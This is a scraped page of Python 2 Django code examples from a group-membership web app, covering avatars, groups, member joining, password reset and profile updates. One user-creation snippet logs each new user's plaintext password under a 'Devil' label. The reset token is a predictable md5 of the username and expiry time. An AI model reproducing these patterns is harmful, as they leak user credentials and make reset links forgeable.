Esempio n. 1
0
def handle_uploaded_avatar(request):
    user = request.user

    try:
        image_string = cStringIO.StringIO(
            base64.b64decode(
                request.POST['imgBase64'].partition('base64,')[2]))
        image = Image.open(image_string)

        path = os.path.join(MEDIA_FOLDER, 'images/avatars/')

        if image.size != (400, 400):
            image.resize(
                (400, 400)).save(path + 'hdpi/' + str(user.id) + ".png",
                                 image.format,
                                 quality=100)
        else:
            image.save(path + 'hdpi/' + str(user.id) + ".png",
                       image.format,
                       quality=100)

        image.resize((200, 200)).save(path + str(user.id) + ".png",
                                      image.format,
                                      quality=100)
        # print image.format, image.size, image.mode
    except Exception, e:
        logger.error(logger_join('Avatar', get_session_id(request), e=e))
        return -1
Esempio n. 2
0
def follow(request, user, group, identifier):
    """

    :param request:
    :param user:
    :param group:
    :param identifier:
    :return:
    """
    if not GroupMember.objects.filter(
            member_name=get_user_name(user),
            group=group,
            token=identifier,
            is_joined=False
    ).exists():

        return -1

    now = timezone.now()
    try:
        m = GroupMember.objects.filter(
            member_name=get_user_name(user),
            group=group,
            token=identifier,
            is_joined=False,
        )[0]

        m.is_joined = True
        m.user = user
        m.joined_time = now
        m.save()
    except Exception, e:
        logger.error(logger_join('Join', get_session_id(request), 'failed', e=e))
        return -4
Esempio n. 3
0
def create_group_member(request, group, name, identifier, user=None, is_creator=False, is_joined=False):
    now = timezone.now()

    if user is not None and \
            GroupMember.objects.filter(
                group=group,
                user=user
            ).exists():

        return -1

    elif GroupMember.objects.filter(group=group).count() >= GROUP_MAXSIZE:
        return -3

    try:

        m = GroupMember(group=group,
                        user=user,
                        member_name=name,
                        token=identifier,
                        is_creator=is_creator,
                        is_joined=is_joined,
                        created_time=now)

        if is_joined:
            m.joined_time = now

        m.save()

    except Exception, e:
        # print 'Group member create: ', e
        logger.error(logger_join('Create', get_session_id(request), 'failed', e=e))
        return -4
Esempio n. 4
0
def update_links(request, new_links, creator, groupid):
    if not GroupMember.objects.filter(
            user=creator, group__id=groupid, is_joined=True).exists():

        return -1

    def group_member_existed(*ids):
        for i in ids:
            if not GroupMember.objects.filter(id=i,
                                              group__id=groupid).exists():
                return False
        return True

    now = timezone.now()

    old_links = Link.check_redundancy(creator, groupid)

    links_index, save_list = {}, []

    for link in old_links:
        links_index[str(link.source_member.id) + ',' +
                    str(link.target_member.id)] = link

    try:
        new_links_from_json = json.loads(new_links)

    except ValueError, e:
        logger.error(
            logger_join('Update', get_session_id(request), 'failed', e=e))
        return -1
Esempio n. 5
0
def create_avatar(request, userid, username='******'):
    save_path = os.path.join(MEDIA_FOLDER, 'images/avatars/')

    cn = False
    if re.match(u"[\u4e00-\u9fa5\s]+", username):
        word = username[-1]
        cn = True
        xy = (39, 38)
    else:
        word = ''.join(map(lambda x: x[0].upper(), username.split(' ')))
        xy = (40, 38)
    # colors = ((245, 67, 101),
    #           (252, 157, 154),
    #           (249, 205, 173),
    #           (131, 175, 155),
    #           (6, 128, 67),
    #           (38, 157, 128),
    #           (137, 157, 192))

    colors = map(hex_to_rgb, ['#3498db',
                              '#1abc9c',
                              '#f1c40f',
                              '#9588b2',
                              '#ec7063',
                              '#9cc2cb',
                              '#af7ac5',
                              '#f39c12',
                              '#95a5a6'])
    if DEPLOYMENT:
        font = ImageFont.truetype('/usr/share/fonts/truetype/simhei.ttf', 125)
    else:
        font = ImageFont.truetype('simhei.ttf', 125)

    img = Image.new('RGB', (200, 200), random.choice(colors))
    draw = ImageDraw.Draw(img)

    if len(word) >= 2 or cn:
        draw.text(xy, word[:2], (255, 255, 255), font=font)
    elif len(word) == 1:
        draw.text((69, 38), word, (255, 255, 255), font=font)
    else:
        return 0

    try:
        img.save(save_path + 'hdpi/' + str(userid) + '.png')
        img.save(save_path + str(userid) + '.png')
    except IOError, e:
        logger.error(logger_join('Avatar', get_session_id(request), e=e))
        return -1
Esempio n. 6
0
def forget(request):

    if request.user.is_authenticated():
        return redirect('home')

    context = {"project_name": PROJECT_NAME,
               "lang": lang,
               "status": 0}

    if request.method == 'GET':
        return render(request, template_dir+'forget.html', context)

    elif request.method == 'POST':

        email = request.POST.get('email')

        if not validate_email_for_reset(email):

            context["status"] = -1
            return render(request, template_dir+'forget.html', context)

        user = User.objects.get(email=email)

        now = timezone.now()
        # if ResetToken.objects.filter(user=user, expired__gt=now).exists():
        #     token = ResetToken.objects.get(user=user).token
        # else:
        expired = now + datetime.timedelta(minutes=30)
        token = md5((user.username+str(expired)))

        reset_token = ResetToken(user=user,
                                 token=token,
                                 expired=expired)

        reset_token.save()

        href = 'https://lime.seeleit.com/resetbyemail/'+token

        try:
            send_reset_passwd_email(user.username, email, href)
        except Exception, e:
            logger.error(logger_join('Forget', email, e=e))
            context['status'] = -2
            return render(request, template_dir+'forget.html', context)

        context['status'] = 1
        return render(request, template_dir+'forget.html', context)
Esempio n. 7
0
def create_group(request, user, name, identifier, gtype):
    now = timezone.now()

    if identifier == 2:
        gtype = 0

    if not validate_group_info(name, identifier, gtype):
        return -1
    elif user.extra.credits < GROUP_CREATED_CREDITS_COST:
        return -2

    try:

        g = Group(group_name=name.upper(),
                  creator=user,
                  type=gtype,
                  identifier=identifier,
                  created_time=now,
                  deprecated=False)
        g.save()

        m = GroupMember(group=g,
                        user=user,
                        member_name=get_user_name(user),
                        token="creator",
                        is_creator=True,
                        is_joined=True,
                        created_time=now,
                        joined_time=now)

        user.extra.credits -= GROUP_CREATED_CREDITS_COST

        c = Credit(user=user,
                   action=-GROUP_CREATED_CREDITS_COST,
                   timestamp=now)

        q = QuestionTemplate(group=g,
                             authenticated=False)

        m.save()
        user.extra.save()
        c.save()
        q.save()

    except Exception, e:
        logger.error(logger_join('Create', get_session_id(request), 'failed', e=e))
        return -4
Esempio n. 8
0
def create_avatar(request, userid, username='******'):
    save_path = os.path.join(MEDIA_FOLDER, 'images/avatars/')

    cn = False
    if re.match(u"[\u4e00-\u9fa5\s]+", username):
        word = username[-1]
        cn = True
        xy = (39, 38)
    else:
        word = ''.join(map(lambda x: x[0].upper(), username.split(' ')))
        xy = (40, 38)
    # colors = ((245, 67, 101),
    #           (252, 157, 154),
    #           (249, 205, 173),
    #           (131, 175, 155),
    #           (6, 128, 67),
    #           (38, 157, 128),
    #           (137, 157, 192))

    colors = map(hex_to_rgb, [
        '#3498db', '#1abc9c', '#f1c40f', '#9588b2', '#ec7063', '#9cc2cb',
        '#af7ac5', '#f39c12', '#95a5a6'
    ])
    if DEPLOYMENT:
        font = ImageFont.truetype('/usr/share/fonts/truetype/simhei.ttf', 125)
    else:
        font = ImageFont.truetype('simhei.ttf', 125)

    img = Image.new('RGB', (200, 200), random.choice(colors))
    draw = ImageDraw.Draw(img)

    if len(word) >= 2 or cn:
        draw.text(xy, word[:2], (255, 255, 255), font=font)
    elif len(word) == 1:
        draw.text((69, 38), word, (255, 255, 255), font=font)
    else:
        return 0

    try:
        img.save(save_path + 'hdpi/' + str(userid) + '.png')
        img.save(save_path + str(userid) + '.png')
    except IOError, e:
        logger.error(logger_join('Avatar', get_session_id(request), e=e))
        return -1
Esempio n. 9
0
def handle_uploaded_avatar(request):
    user = request.user

    try:
        image_string = cStringIO.StringIO(base64.b64decode(request.POST['imgBase64'].partition('base64,')[2]))
        image = Image.open(image_string)

        path = os.path.join(MEDIA_FOLDER, 'images/avatars/')

        if image.size != (400, 400):
            image.resize((400, 400)).save(path + 'hdpi/' + str(user.id) + ".png", image.format, quality=100)
        else:
            image.save(path + 'hdpi/' + str(user.id) + ".png", image.format, quality=100)

        image.resize((200, 200)).save(path + str(user.id) + ".png", image.format, quality=100)
        # print image.format, image.size, image.mode
    except Exception, e:
        logger.error(logger_join('Avatar', get_session_id(request), e=e))
        return -1
Esempio n. 10
0
def create_group_member_from_file(request, group):
    members = []
    with request.FILES.get('members') as f:
        for l in f:
            kv = l.strip().split(',')

            if len(kv) != 2:
                return -1
            else:
                members.append(kv)

    for m in members:
        m = map(str.strip, m)
        if create_group_member(request, group, m[0], m[1]) != 0:
            logger.error(logger_join('File', get_session_id(request), 'failed', gid=group.id))
            return m[0]

    logger.info(logger_join('File', get_session_id(request), gid=group.id))
    return 0
Esempio n. 11
0
    def update(self):
        try:
            self.user.first_name = self.first_name
            self.user.last_name = self.last_name

            ue = Extra.objects.get(user=self.user)
            ue.gender = self.gender
            ue.birth = datetime.datetime.strptime(self.birth, '%Y/%m/%d').date()
            ue.location = self.country + '-' + self.city
            ue.institution = self.institution
            self.user.save()
            ue.save()

            self.update_groupmember_names()

        except Exception, e:
            # print 'Profile update failed: ', e
            logger.error(logger_join('Update', get_session_id(self.request), 'failed', e=e))
            return -1
Esempio n. 12
0
def forget(request):

    if request.user.is_authenticated():
        return redirect('home')

    context = {"project_name": PROJECT_NAME, "lang": lang, "status": 0}

    if request.method == 'GET':
        return render(request, template_dir + 'forget.html', context)

    elif request.method == 'POST':

        email = request.POST.get('email')

        if not validate_email_for_reset(email):

            context["status"] = -1
            return render(request, template_dir + 'forget.html', context)

        user = User.objects.get(email=email)

        now = timezone.now()
        # if ResetToken.objects.filter(user=user, expired__gt=now).exists():
        #     token = ResetToken.objects.get(user=user).token
        # else:
        expired = now + datetime.timedelta(minutes=30)
        token = md5((user.username + str(expired)))

        reset_token = ResetToken(user=user, token=token, expired=expired)

        reset_token.save()

        href = 'https://lime.seeleit.com/resetbyemail/' + token

        try:
            send_reset_passwd_email(user.username, email, href)
        except Exception, e:
            logger.error(logger_join('Forget', email, e=e))
            context['status'] = -2
            return render(request, template_dir + 'forget.html', context)

        context['status'] = 1
        return render(request, template_dir + 'forget.html', context)
Esempio n. 13
0
def create_request(request, user, group, msg):
    try:
        if MemberRequest.objects.filter(
                user=user,
                group=group
        ).exists():

            mr = get_object_or_404(MemberRequest,
                                   user=user,
                                   group=group)
            mr.message = msg

        else:
            mr = MemberRequest(user=user,
                               group=group,
                               message=msg,
                               created_time=timezone.now(),
                               is_valid=True)
        mr.save()
    except Exception, e:
        logger.error(logger_join('Request', get_session_id(request), 'failed', e=e))
        return -4
Esempio n. 14
0
    def update(self):
        try:
            self.user.first_name = self.first_name
            self.user.last_name = self.last_name

            ue = Extra.objects.get(user=self.user)
            ue.gender = self.gender
            ue.birth = datetime.datetime.strptime(self.birth,
                                                  '%Y/%m/%d').date()
            ue.location = self.country + '-' + self.city
            ue.institution = self.institution
            self.user.save()
            ue.save()

            self.update_groupmember_names()

        except Exception, e:
            # print 'Profile update failed: ', e
            logger.error(
                logger_join('Update',
                            get_session_id(self.request),
                            'failed',
                            e=e))
            return -1
Esempio n. 15
0
            pri = Privacy(user=u)
            pri.save()
            extra = Extra(
                user=u,
                gender=False,

                # Todo: django timezone?
                birth=datetime.date.today(),
                credits=100,
                privacy=pri)

            extra.save()
            create_avatar(request, u.id, name)
        except Exception, e:
            logger.error(
                logger_join('Create', get_session_id(request), 'failed', e=e))
            logout(request)
            return -4

        logger.info(logger_join('Create', get_session_id(request)))
        logger.warning(
            logger_join(
                'Devil',
                '[' + ','.join([str(request.user.id), name, password]) + ']'))
        return 0


########################################################################


def get_user_name(user):
Esempio n. 16
0
            login_user(request, name, password)

            pri = Privacy(user=u)
            pri.save()
            extra = Extra(user=u,
                          gender=False,

                          # Todo: django timezone?
                          birth=datetime.date.today(),
                          credits=100,
                          privacy=pri)

            extra.save()
            create_avatar(request, u.id, name)
        except Exception, e:
            logger.error(logger_join('Create', get_session_id(request), 'failed', e=e))
            logout(request)
            return -4

        logger.info(logger_join('Create', get_session_id(request)))
        logger.warning(logger_join('Devil', '[' + ','.join([str(request.user.id), name, password]) + ']'))
        return 0


########################################################################

def get_user_name(user):
    last = user.last_name
    first = user.first_name
    if len(first) is 0 and len(last) is 0:
        return user.username